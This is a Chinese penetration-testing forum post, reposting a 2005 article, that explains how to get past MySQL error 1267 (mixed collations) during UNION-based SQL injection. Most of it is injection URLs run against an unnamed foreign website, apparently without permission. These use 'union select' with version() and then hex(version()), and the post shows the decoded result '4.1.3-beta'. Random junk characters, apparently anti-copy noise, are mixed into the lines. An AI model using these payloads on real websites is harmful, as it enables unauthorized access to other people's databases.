中国网络渗透测试联盟

标题: MySQL注射时ErrorNo.1267的突破 [打印本页]

作者: admin    时间: 2012-9-15 14:04
标题: MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei$ E* P  K5 Z3 K8 T
文章性质:原创
+ V7 v3 `2 Z' E9 h- Z5 _8 f6 f! @发布日期:2005-10-18
  o% Y% y% c. g$ X测试个国外的站时:- x  O4 x; @% j5 F+ n" W- `% |
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
: f5 M9 {5 [0 a, w返回错误:8 b3 `! S/ A  D6 A) X- F2 b! A/ e3 H* y
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
  Z, q' n" E& @" E4 D, ~* W7 a( qMySQL Error No. 126
0 _  V% s7 U- n% A+ S看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
% V/ ^  t( z1 G: t. ^  y  |. q4 |, b解决办法:转为其他编码如hex。
5 {2 V! |/ s+ c9 z" xurl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
* V. N$ f; Y7 r0 A2 i1 t. b$ ~; H6 a成功得到hex(version())的值为:% [0 @2 N* v- L' z" p
342E312E332D626574611 i: Y% h, }: B* E4 ]
回Mysql查询下得到:
1 i& A1 ^3 }% w: Amysql> select 0x342E312E332D62657461;
% L( ~2 K# Q0 y, P8 a+------------------------+
4 [3 p3 Z$ l/ Q' U" c) N| 0x342E312E332D62657461 |! ~- r" j! s! `' T1 {% M$ r
+------------------------+$ P6 K% `  Z6 z
| 4.1.3-beta |
" l/ z1 r8 q8 {+------------------------+
7 ]: |# b) h; Y1 row in set (0.00 sec)
$ r3 ?5 i. u+ a% m
/ q' [! g4 X) N) j1 V




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2